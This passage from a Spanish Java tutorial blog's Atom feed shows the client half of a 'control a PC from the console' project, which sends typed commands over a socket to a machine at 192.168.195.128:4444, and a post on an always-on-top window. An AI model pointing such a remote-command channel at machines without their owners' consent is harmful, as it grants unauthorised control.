block&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;e1.printStackTrace();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cliente&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Clase Principal&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;package clases;&lt;br /&gt;&lt;br /&gt;import java.awt.BorderLayout;&lt;br /&gt;import java.awt.event.KeyEvent;&lt;br /&gt;import java.awt.event.KeyListener;&lt;br /&gt;import java.io.DataInputStream;&lt;br /&gt;import java.io.DataOutputStream;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;import java.net.Socket;&lt;br /&gt;import java.net.UnknownHostException;&lt;br /&gt;&lt;br /&gt;import javax.swing.*;&lt;br /&gt;&lt;br /&gt;public class Principal extends JFrame{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextArea txt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Socket s;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextField consulta;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;consulta=new JTextField();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txt=new JTextArea();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;consulta.addKeyListener(new KeyListener(){&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyPressed(KeyEvent e) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_ENTER){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;DataOutputStream dos;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;DataInputStream dis;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;try {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;dos = new DataOutputStream(s.getOutputStream());&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;dis=new DataInputStream(s.getInputStream());&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;dos.writeUTF(consulta.getText());&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;txt.append(""+dis.readUTF()+"\n"+"-------------------------------------------------------");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} catch (IOException ex) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;// TODO Auto-generated catch block&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;ex.printStackTrace();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyReleased(KeyEvent arg0) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;// TODO Auto-generated method stub&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyTyped(KeyEvent arg0) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;// TODO Auto-generated method stub&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;s=new Socket("192.168.195.128",4444);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (UnknownHostException e) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;// TODO Auto-generated catch block&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (IOException e) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;// TODO Auto-generated catch block&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(consulta,BorderLayout.NORTH);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(new JScrollPane(txt));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 300, 200);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Todo el proyecto lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/1DGJE6GJ/Java_Zone_Controlador_PC.rar"&gt;aquí&lt;/a&gt;, se incluyen los archivos fuentes, las&amp;nbsp;imágenes, y los ejecutables para que ensayen, recuerden deben cambiar la ip, yo use una de mi maquina virtual.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-2544611835752833516?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/2544611835752833516/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/controlando-una-pc-modo-consola.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/2544611835752833516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/2544611835752833516'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/controlando-una-pc-modo-consola.html' title='Controlando una PC modo Consola'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-qY2OETwjTK8/Tph3VA-7l5I/AAAAAAAAAfg/bllG-jxqS1E/s72-c/control+java+zone+1.png' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-5822753282110044569</id><published>2011-10-02T12:30:00.001-05:00</published><updated>2011-10-02T12:31:13.404-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ventana siempre visible'/><title type='text'>Ventana que nunca se oculta</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Ventana que nunca se oculta&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Por fin&amp;nbsp;encontré&amp;nbsp;algo de espacio para actualizar el blog, hoy veremos como podemos crear una ventana que nunca se oculta, siempre esta visible por encima de las&amp;nbsp;demás.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-IMC2KJWuUEM/ToifsdpFedI/AAAAAAAAAfY/v-acqf1C4RE/s1600/VentanaSiempreArriba1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="136" src="http://4.bp.blogspot.com/-IMC2KJWuUEM/ToifsdpFedI/AAAAAAAAAfY/v-acqf1C4RE/s320/VentanaSiempreArriba1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-5CDWQBLtlck/ToiftRZ3eiI/AAAAAAAAAfc/1Rx-TdA8VtY/s1600/VentanaSiempreArriba2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="159" src="http://4.bp.blogspot.com/-5CDWQBLtlck/ToiftRZ3eiI/AAAAAAAAAfc/1Rx-TdA8VtY/s320/VentanaSiempreArriba2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.Font;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JFrame;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JLabel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;		&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;JLabel l=new JLabel(" &amp;nbsp; &amp;nbsp; JAVA ZONE");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;l.setFont(new Font("Arial",Font.BOLD,35));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;add(l);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;		&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;setUndecorated(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;setBounds(0,0,300,100);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;setAlwaysOnTop(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;	&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;public static void main(String[] args) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&g
